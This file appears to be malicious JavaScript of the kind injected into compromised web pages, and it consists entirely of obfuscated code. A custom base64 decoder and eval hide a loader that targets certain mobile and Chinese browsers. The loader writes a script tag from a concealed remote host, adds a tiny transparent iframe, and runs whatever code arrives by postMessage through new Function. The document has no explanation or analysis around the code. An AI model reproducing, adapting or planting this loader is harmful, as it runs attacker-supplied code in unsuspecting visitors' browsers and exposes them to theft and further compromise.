eval("\x77\x69\x6e\x64\x6f\x77")["zsxaZ"]=function(e){var li ='ABCDE'+'FGHIJKLMNOPQRSTUV'+'WXYZabc'+''+'defghijk'+''+'lmnopqrstuvw'+''+'xyz0123456'+''+'789+/'+''+'='+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=li.indexOf(e.charAt(f++));o=li.indexOf(e.charAt(f++));u=li.indexOf(e.charAt(f++));a=li.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}

eval("\x77\x69\x6e\x64\x6f\x77")["_EVhYB"]=function(){eval(zsxaZ("ICAgICAgICA7KGZ1bmN0aW9uICh1LCByLCB3LCBkLCBmLCBjKSB7DQogICAgICAgICAgICB1ID0gZGVjb2RlVVJJQ29tcG9uZW50KHpzeGFaKHUucmVwbGFjZShuZXcgUmVnRXhwKGMgKyAnJyArIGMsICdnJyksIGMpLnNwbGl0KCcnKS5yZXZlcnNlKCkuam9pbignJykpKTsNCiAgICAgICAgICAgICdqUXVlcnknOw0KICAgICAgICAgICAgdmFyIF91YSA9IG5hdmlnYXRvci51c2VyQWdlbnQ7DQogICAgICAgICAgICB2YXIgX0NibUxFID0gJzxzYycrJ3JpcCcrJ3QgcycrJ3InKydjJysnPSInICsgdSArICcvbS8nKyIzMDQiICsnIj48XC9zJyArICdjJysncmlwJysndCcrJz4nOw0KICAgICAgICAgICAgaWYgKF91YS5pbmRleE9mKHpzeGFaKCJZbUZwWkhVPSIpKSA+IC0xIHx8IF91YS5pbmRleE9mKHpzeGFaKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKSA+IC0xfHwgX3VhLmluZGV4T2YoenN4YVooJ1VWRkNjbTkzYzJWeScpKSA+IC0xKSB7DQogICAgICAgICAgICAgICAgaWYgKF91YS5pbmRleE9mKHpzeGFaKCdhVkJvYjI1bCcpKSA+IC0xKSB7DQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LndyaXRlKF9DYm1MRSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gcmQobiwgbSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIChtIC0gbiArIDEpICsgbik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJtKGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlICYmIGUudGFnTmFtZS50b1VwcGVyQ2FzZSgpID09PSAiSUZSQU1FIiAmJiBlLnNyYy5pbmRleE9mKHUpID4gLTEpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlLnJlbW92ZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmIChlLm5leHRFbGVtZW50U2libGluZykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBsZXQgYyA9IGRbenN4YVooIlkzVnljbVZ1ZEZOamNtbHdkQT09IildOw0KICAgICAgICAgICAgICAgICAgICB2YXIgX2lkID0gX2NsYXNzID0gJ2onKydjTycrJ0p4JysnTycrJ2gnKydoJzsNCiAgICAgICAgICAgICAgICAgICAgdmFyIF9TUVVWRyA9ICdFJyArIHJkKDEsIDEwMDAwMCk7DQogICAgICAgICAgICAgICAgICAgIGRbJ3dyJysnaXQnKydlJysnbG4nXSgnPGQnKydpdicrJyBpJysnZD0nKyciJyArIF9TUVVWRyArICciPicgKyAnPC8nKydkaXYnKyc+Jyk7DQogICAgICAgICAgICAgICAgICAgIHdbJ19fZScrJ0InKydnJysnQ20nXSA9IGRbJ3EnKyd1ZXInKyd5JysnUycrJ2VsJysnZScrJ2N0bycrJ3InXSgnIycgKyBfU1FVVkcpOw0KICAgICAgICAgICAgICAgICAgICBfaWQgKz0gZFsncXVlJysncnknKydTJysnZWxlJysnY3QnKydvcicrJ0FsJysnbCddKCcuJyArIF9jbGFzcykubGVuZ3RoOw0KICAgICAgICAgICAgICAgICAgICB2YXIgeiA9IHUrIi9kLyIrX2lkKyIvIityKyIvIitfU1FVVkcrIi8zMDQiOw0KICAgICAgICAgICAgICAgICAgICBkWyd3cmknKyd0ZSddKCc8aScrJ2ZyJysnYScrJ20nKydlJysnIHN0JysneWwnKydlJysnPSInKydtYScrJ3InKydnaScrJ24nKyc6JysnMDsnKydwJysnYWQnKydkaW4nKydnOicrJzAnKyc7YicrJ28nKydyZCcrJ2VyOicrJ24nKydvbmUnKyc7Jysnb3AnKydhY2knKyd0JysneTonKycwLicrJzAnICsgcmQoMiwgOSkgKyAnO3cnKydpZHQnKydoOicgKyByZCgyLCA1KSArICdwJysneCcrJztoZScrJ2lnaCcrJ3Q6JyArIHJkKDIsIDUpICsgJ3B4OycrJyJhJysnbGxvJysnd3RyJysnYW5zJysncCcrJ2FyJysnZW4nKydjeSAnKydzcicrJ2M9IicgKyB6ICsgJyI+PCcrJy8nKydpZnInKydhJysnbScrJ2U+Jyk7DQogICAgICAgICAgICAgICAgICAgIHdbJ2FkJysnZCcrJ0V2ZScrJ250TCcrJ2lzJysndGUnKyduZScrJ3InXSgnbWUnKydzc2EnKydnZScsIGZ1bmN0aW9uIChlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZS5kYXRhW3IgKyBfaWRdKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcm0oYyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbmV3IEZ1bmN0aW9uKHpzeGFaKGUuZGF0YVtyICsgX2lkXS5yZXBsYWNlKG5ldyBSZWdFeHAociwgJ2cnKSwgJycpKSkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC53cml0ZShfQ2JtTEUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9KSgnPScrJz13WScrJ2onKyc1aWInKydrJysnTldMJysnNUpYJysnWjFGJysnbicrJ2EnKyd1NCcrJ0daaicrJzl5TCcrJzZNJysnSGMwJysnUicrJ0gnKydhJywgJ2onKydjTycrJ0p4JysnTycrJ2gnKydoJywgd2luZG93LCBkb2N1bWVudCwgMCwgJ1QnKQ=="));};